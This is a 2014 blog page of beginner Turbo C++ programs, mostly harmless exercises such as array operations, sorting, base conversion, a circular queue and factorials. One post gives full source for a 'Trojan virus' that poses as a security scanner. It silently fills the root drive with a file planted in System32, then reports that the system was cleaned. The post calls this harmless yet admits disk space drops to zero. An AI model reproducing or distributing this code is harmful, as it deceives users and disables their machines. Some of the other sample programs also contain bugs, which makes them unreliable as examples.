Sunday 31 August 2014

,

C++ program to perform insertion and deletion operation in array

C++ program to perform insertion and deletion operation in array:A simple C+ + program related to array which perform insertion and deletion operation.It is a menu driven program which ask the choice for insertion or deletion and according to user choice it perform operation.


C++ program to perform insertion and deletion operation in array

C++ program to perform insertion and deletion operation in array

#include<iostream.h>
#include<conio.h>

void main()
{
clrscr();
int n,x,c=0,e,ch,i,a[50],j;
cout<<"Enter Array lim"<<endl;
cin>>n;
cout<<"Enter array"<<endl;
for(i=0;i<n;i++)
cin>>a[i];
cout<<"Enter Choice  1:Deletion  2Insertion"<<endl;
cin>>ch;
switch(ch)
{
case 1:
cout<<"Enter to be deleted"<<endl;
cin>>x;
for(i=0;i<n;i++)
{

if(a[i]==x)
{c++;
for(j=i;j<n;j++)
{
a[j]=a[j+1];
}
}
}
if(c==0)
cout<<"ENP"<<endl;
for(i=0;i<n-c;i++)
cout<<a[i]<<endl;
break;

case 2:
cout<<"Enter What & Where to be inserted"<<endl;
cin>>e>>x;
for(i=n;i>=x;i--)
a[i]=a[i-1];
a[x-1]=e;
for(i=0;i<=n;i++)
cout<<a[i]<<endl;
break;
}
getch();
}
Publisher: Anand - 04:56
,

How to make a Trojan virus in C++

This sample Trojan virus is made in c++. This will not harm your computer.It will give you simple feeling of real programmer.Enjoy this coding.

 make a Trojan virus in C++






NOTE : DON'T USE THIS FOR COMMERCIAL PURPOSES

C++ program to make Trojan virus


#include<dos.h>
#include<stdlib.h>
#include<stdio.h>
#include<conio.h>


FILE *t,*b,*a;
int r,status,vir_count;
double i;
char ch[]="A FILE WITH LARGE MEMORY IS CREATED",choice;
void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
void main()
{

draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("WAIT UNTIL SYSTEM ANALYSIS COMPLETE...");
sleep(3);
gotoxy(12,8);
delline();
cputs("TO START SCAN PRESS ANY KEY...");
getch();
gotoxy(12,8);
delline();
findroot();
}
void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS IS A DEMO OF TROJEN HORSE VIRUS. THIS PROGRAM WILL \n\rEAT UP WHOLE SPACE ON ROOT DRIVE. YOU CAN \n\rELIMINATE THE DAMAGE.\n\n\rTO REVERT THE DAMAGE YOU\'VE TO REMOVE THE FILE \"spceshot.dll\" IN\n\n\r \"%windir%\\System32\".\n\n\rPRESS ENTER TO CONTINUE , ANY OTHER KEY TO QUIT.");
if((choice=getch())!=13)
exit(0);
}
void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("===================================");
gotoxy(12,6);
cputs("===================================");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("QUICK SECURITY  - 2010 ");
}
void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("TO CLOSE PRESS ANY KEY.");
getch();
exit(1);
}
exit(1);
}
void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("DONOT STOP THE SCAN..!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. SYSTEM CLEANED ",vir_count);
gotoxy(12,10);
cprintf("TO CLOSE PRESS ANY KEY");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
void showstatus()
{
gotoxy(12,8);
cputs("SYSTEM IS SCANNING FOR THREATS.");
gotoxy(12,10);
cputs("A FEW MINUTES WILL TAKE TO COMPLEATE");
gotoxy(12,13);
cputs("SCANNING IS GOING ON.......");
}


NOTE: After running this Program your free disk space become zero.You can free disk space by deleting the file "spceshot.dll"  in location  "%windir%\\System32\"

Publisher: Anand - 04:46
,

C++ program to find the sum of diagonal elements

C++ program to find the sum of diagonal elements : A simple C++ program which find the sum of diagonal element of matrices.There are two diagonal in a matrix primary diagonal and secondary diagonal, so this program first ask the choice about diagonal from user and then print the total.

C++ program to find the sum of diagonal elements



C++ program to find the sum of diagonal elements 


#include<iostream.h>
#include<conio.h>

void main()
{
clrscr();
int i,s=0,j,r,c,ch,a[50][50];
cout<<"Entr Array Limit"<<endl;
cin>>r>>c;
if(r!=c)
cout<<"Wrong Choice"<<endl;
else
{
cout<<"Enter Array"<<endl;
  for(i=0;i<r;i++)
  {
   for(j=0;j<c;j++)
   {
   cin>>a[i][j];
   }
  }
cout<<"Enter Choice 1:main  2:Secondary"<<endl;
cin>>ch;
switch(ch)
{
case 1:
  for(i=0;i<r;i++)
  {
  s=s+a[i][i];
  }
cout<<"Sum = "<<s;
break;

case 2 :
j=c-1;
  for(i=0;i<r;i++)
  {
  s=s+a[i][j--];
  }
  cout<<"Sum = "<<s;
break;

default :
cout<<"Wrong Choice"<<endl;
break;

}
}
getch();
}
Publisher: Anand - 03:57
,

C++ program to convert decimal number to binary and its vice verse

C++ program to convert decimal number to binary and its vice verse:A simple C++ program which accept decimal number and convert it into binary number and it also convert binary number to decimal number.

C++ program to convert decimal number to binary and its vice verse


C++ program to convert decimal number to binary and its vice verse

#include<iostream.h>
#include<conio.h>
#include<math.h>

void main()
{
clrscr();
int a,g,h,s=0,i=0,d,b,ch;
cout<<endl<<"Enter the choice - "<<endl<<"1:Binary to Decimal"<<endl<<"2:Decimal to Binary"<<endl;
cin>>ch;
switch(ch)
{
case 1:

cout<<"Enter the Binary Digit"<<endl;
cin>>b;
while(b>0)
{
a=b%10;
s=s+a*(pow(2,i));
i=i+1;
b=b/10;
}
cout<<"Answer ="<<s<<endl;
break;

case 2:
cout<<"Enter the Decimal"<<endl;
cin>>d;
while(d>0)
{
a=d%2;
a=a*pow(10,i);
s=s+a;
i=i+1;
d=d/2;
}
cout<<"Answer ="<<s<<endl;
break;

default:
cout<<"Wrong choice"<<endl;
break;
}
getch();

}




Output 

Enter the choice -
1:Binary to Decimal
2:Decimal to Binary 1
Enter the Binary Digit 1000001
Answer = 65
Publisher: Anand - 03:39
,

C++ program to count record in binary file

C++ program to count record in binary file:A simple file handling program which count the record in binary file.
Binary file:file stored in binary format. A binary file is computer -readable but not human-readable. All executable programs are stored in binary files, as are most numeric data files. In contrast, text files are stored in a form (usually ASCII) that is human-readable.

C++ program to count record in binary file



C++ program to count record in binary file


#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<fstream.h>


struct stud
{
char name[50];
int rno;
};

void main()
{


clrscr();
stud st;
int i;
ofstream gpj("abcabc.dat",ios::binary|ios::trunc);
if(!gpj)
{cout<<"File Cannot Be Created"<<endl;
}
else
{
int n;


cout<<"How many Students U Want to Enter ???? "<<endl;
cin>>n;
for(i=0;i<n;i++)
{
cout<<"Enter Name"<<endl;
gets(st.name);
cout<<"Enter Roll No"<<endl;
cin>>st.rno;
gpj.write((char*)&st,sizeof(st));
}gpj.close();
}
int a=0;
ifstream gp("abcabc.dat",ios::binary);
if(!gp)
{
cout<<"File Error"<<endl;
}
else
{
gp.seekg(0);
while(gp.read((char*)&st,sizeof(st)))
{
a++;
}
cout<<"No = "<<a;
gp.close();
}
getch();

}

Publisher: Anand - 03:28
,

C++ program to implement circular queue

C++ program to implement circular queue: A data structure program in C++ , which implements circular queue.Circular queue is a type of queue in data structure in which the last node contains the reference of first node.

C++ program to implement circular queue


C++ program to implement circular queue

#include<iostream.h>
#include<conio.h>#include<process.h>
class queue
  {int data[10];
   int front,rear;
   public:
   queue()
     {front=-1;
      rear=-1;
     }
   void add();
   void remove();
   void display();
  };
void queue::add()
  {if((rear+1==front)||(rear==9&&front==0))
     {cout<<"Overflow ";
     }
   else
     {if((rear==-1) &&(front==-1))
    {rear=0;
     front=0;
    }
      else if(rear==9)
    {rear=0;
    }
      else
    {rear++;
    }
      cout<<"Enter the element ";
      cin>>data[rear];
     }
  }
void queue::remove()
  {if(front==-1&&rear==-1)
     {cout<<"Underflow ";
     }
   else
     {if(front==9)
       {front=0;
       }
      else if(front==rear)
       {front=-1;
    rear=-1;
       }
      else
       {front++;
       }
     }
  }
void queue::display()
  {int i=0,n=9;
   if(rear==-1)
     {cout<<"No elements.."<<endl;
     }
   else
   { if(rear>front)
     {for(i=0;i<front;i++)
    {cout<<"_";
    }
      for(i=front;i<=rear;i++)
    {cout<<data[i];
    }
      for(i=rear+1;i<n;i++)
    {cout<<"_";
    }
     }
   else
     {for(i=0;i<=rear;i++)
    {cout<<data[i];
    }
      for(i=rear+1;i<front;i++)
    {cout<<"_";
    }
      for(i=front;i<n;i++)
    {cout<<data[i];
    }
    } }
  }
void main()
  {clrscr();
   int ch;
   queue queue;
   X:
   cout<<"\nEnter your choice\n1.Insert\n2.Delete\n3.Display\n4.Exit\n";
   cin>>ch;
   switch(ch)
     {case 1:queue.add();
         goto X;
      case 2:queue.remove();
         goto X;
      case 3:queue.display();
         goto X;
      case 4:exit(0);
     }
   getch();
  }




Publisher: Anand - 03:20
,

C++ program to print the default value of variable

C++ program to print the default value of an integer variable: A simple C++ program which print some values on output screen, which are already assigned into those variable.
C++ program to print the default value of  variable

C++ program to print the default value of an integer variable

#include <iostream.h>#include <conio.h> void main(){ clrscr(); int x = 10; float y = 10.1; char z = 'a'; cout << "x = " << x << endl; cout << "y = " << y << endl; cout << "z = " << z << endl; getch();}
OUTPUT: x = 10 y = 10.1 z = a
Publisher: Anand - 03:09
,

C++ program to convert binary number to octal and its vice verse

C++ program to convert binary number to octal and its vice verse:Here is a C++ program which convert the binary number into octal manually.

C++ program to convert binary number to octal and its vice verse


C++ program to convert binary number to octal and its vice verse

#include<iostream.h>
#include<conio.h>
#include<math.h>

void main()
{
clrscr();
int oc,p,r,ch,n,a,i=0,x=0,d=0,j,o;
long int b,s=0,sum=0;
cout<<"Enter Choice"<<endl;
cout<<"1.B-O"<<endl<<"2.O-B"<<endl;
cin>>ch;
switch(ch)
{
case 1:
cout<<"ENTER THE BINARY DIGIT  :"<<endl;
cin>>b;
while(b>0)
{
a=b%1000;
j=0;
d=0;
while(a>0)
{
n=(a%10);
d=d+(n*pow(2,j));
j=j+1;
a=a/10;
}
x=x+(d*pow(10,i));
i=i+1;
b=b/1000;
}
cout<<"Answer ="<<x;
break;

case 2:
cout<<"Enter the Octel"<<endl;
cin>>oc;
i=0;
j=0;
sum=0;
s=0;

while(oc>0)
{
p=oc%1000;
while(p>0)
{
r=p%2;
s=s+r*pow(10,j);
j++;
p=p/2;
}
sum=sum+(s*pow(1000,i));
i++;
oc=oc/10;
j=0;
}
cout<<"Binary ="<<sum;
break;

default:
cout<<"????????????????????????"<<endl;
break;
}
getch();
}

Publisher: Anand - 03:01
,

C++ program to implement bubble sort and selection sort

C++ program to implement bubble sort  and selection sort: A simple data structure program which implement the sorting technique .Sorting techniques are bubble sort and selection sort.





C++ program to implement bubble sort  and selection sort




C++ program to implement bubble sort  and selection sort

#include<iostream.h>
#include<conio.h>
#include<process.h>

void main()
{
clrscr();
int ch;
int i,j,x,k,z,l,m,n,o,p,a[50],small;
q :
cout<<"Enter the choice 1:Selection  2:Bubble 3:Exchange Selection  4:Insertion 5:Exit"<<endl;
cin>>ch;
switch(ch)
{
case 1:
cout<<"Enter the limit "<<endl;
cin>>n;
cout<<endl;
cout<<"Enter the elements"<<endl;

for(i=0;i<n;i++)
   {
   cin>>a[i];
   cout<<endl;
   }

for(j=0;j<n;j++)
   {
   small=a[j];
   p=j;
 for(i=j;i<n;i++)
    {
    if(small>a[i])
    {
    small=a[i];
    p=i;
    }
    }
    for(k=p;k>j;k--)
   {
   a[k]=a[k-1];
   }
   a[j]=small;
   }
cout<<"Result"<<endl;
  for(z=0;z<n;z++)
  {
  cout<<a[z];
  cout<<endl;
  }
  goto q;
  case 2:
cout<<"Enter the limit"<<endl;
cin>>n;
cout<<"Enter the elements"<<endl;
  for(i=0;i<n;i++)
  cin>>a[i];
for(j=0;j<n;j++)
  {
  for(i=0;i<n-1;i++)
   {
   if (a[i]>a[i+1])
   {
   x=a[i+1];
   a[i+1]=a[i];
   a[i]=x;
   }
  }
  }
cout<<"Result"<<endl;
  for (i=0;i<n;i++)
   {
   cout<<a[i];
   cout<<endl;
   }
 break;
 case 3 :
cout<<"Enter the limit "<<endl;
cin>>n;
cout<<endl;
cout<<"Enter the elements"<<endl;

for(i=0;i<n;i++)
   {
   cin>>a[i];
   cout<<endl;
   }

for(j=0;j<n;j++)
   {
   small=a[j];
   p=j;
 for(i=j;i<n;i++)
    {
    if(small>a[i])
    {
    small=a[i];
    p=i;
    }
    }
   a[p]=a[j];
   a[j]=small;
   }
cout<<"Result"<<endl;
  for(z=0;z<n;z++)
  {
  cout<<a[z];
  cout<<endl;
  }
  goto q;

case 4 :
 int m=-32767;
  cout<<"enter the no. of elements"<<endl;
  cin>>n;
  cout<<"enter the array"<<endl;
  for(i=1;i<=n;i++)
  {cin>>a[i];}
  a[0]=m;
  for(i=1;i<=n;i++)
  {for(j=0;j<i;j++)
  {if(a[i]<a[j])
  {p=a[i];
  for(k=i-1;k>=j;k--)
  {a[k+1]=a[k];}
  a[j]=p;}}}
  for(i=1;i<=n;i++)
  {cout<<a[i];}
  goto q;

case 5:
exit(0);
default:
cout<<"Wrong choice";
goto q;

}
getch();
}
Publisher: Anand - 02:56
,

C++ program to perform basic arithmetic operations

C++ program to perform basic arithmetic operations:A simple c++ program which perform various arithmetic operation


C++ program to perform basic arithmetic operations

C++ program to perform basic arithmetic operations


#include <iostream.h>
#include <conio.h>

void main()
{
  clrscr();
  int x = 10;
  int y = 2;
  int sum, difference, product, quotient;
  sum = x + y;
  difference = x - y;
  product = x * y;
  quotient = x / y;
  cout << "The sum of " << x << " & " << y << " is " << sum << "." << endl;
  cout << "The difference of " << x << " & " << "y <<  is " << difference << "." << endl;
  cout << "The product of " << x << " & " << y << " is " << product << "." << endl;
  cout << "The quotient of " << x << " & " << y << " is " << quotient << "." << endl;
  getch();
}

OUTPUT :


The sum of 10 & 2 is 12.
The difference of 10 & 2 is 8.
The product of 10 & 2 is 20.
The quotient of 10 & 2 is 5.
Publisher: Anand - 02:50

Thursday 28 August 2014

,

C++ program to check whether number is armstrong or not

A number in which the sum of cube of its individual digits is equal to the number itself is called Armstrong number
For Example: 1^3 + 5^3 + 3^3 = 153
4 * 4 * 4 + 0 * 0 * 0 + 7 * 7 * 7 = 407 is an Armstrong number.

C++ program which takes input a number and check whether it is Armstrong Number or not.

C++ program to check whether number is armstrong or not

C++ program to check whether number is armstrong or not



 #include<iostream.h>
  using namespace std;
  int main()
  {
  int armstrong=0,num=0,result=0,check;
  cout<<"Enter Number to find it is an Armstrong number ";
       cin>>num;
       check=num;
       for(int i=1;num!=0;i++){
           armstrong=num%10;
           num=num/10;
           armstrong=armstrong*armstrong*armstrong;
           result=result+armstrong;
       }
       if(result==check){
       cout<<check<<"  is an Armstrong Number";
       }
       else{
       cout<<check<<"  is NOT an Armstrong Number";
       }
       return 0;
    }


Output

Enter Number to find it is an Armstrong number 153
153 is an Armstrong Number
Publisher: Anand - 14:43
,

C++ program to find factorial of any number

The factorial of a number 'n' is the product of all number from 1 upto the number 'n'
it is denoted by n!.  For example n=5 then factorial of 5 will be 1*2*3*4*5= 120. 5!= 120

C++ program to find factorial of any number

Factorial program C++ Logic:
  • First think what is the factorial of a number? How mathematically it can be calculated.
  •  If you got this info then it will be very easier to make a C++ Program logic to find the factorial.
  •  User enters a number and we have to multiply all numbers upto entered number.
  • Like if user enters 6  then Factorial should be equal to factorial= 1*2*3*4*5*6.
  • In this case a for Loop will be very helpful. It will start from one and multiply all numbers upto entered number after it loop will be terminated.
  • Take a variable and initialized it to 1 and in loop store multiplication result into it like in below program a variable 
  • Factorial is used for this purpose.what is we does not initialized it to 1 and initialized it to zero or remain it uninitialized. In case of 0 our result will be zero in case of any number entered
  • In case of not initializing it our answer will correct mostly but if variable contains garbage value then we will not be able to get correct result. 
  • It is recommended that to initialize it to one.

C++ program to find factorial of any number


#include<iostream.h>

using namespace std;

int main()

{

    int num,factorial=1;

    cout<<" Enter Number To Find Its Factorial:  ";

    cin>>num;

    for(int i=1;i<=num;i++)

    {

        factorial=factorial*i;

    }

cout<<"Factorial of Given Number is ="<<factorial<<endl;

    return 0;

}



Output

Enter Number To Find Its Factorial: 6
Factorial of Given Number is = 720
Publisher: Anand - 13:30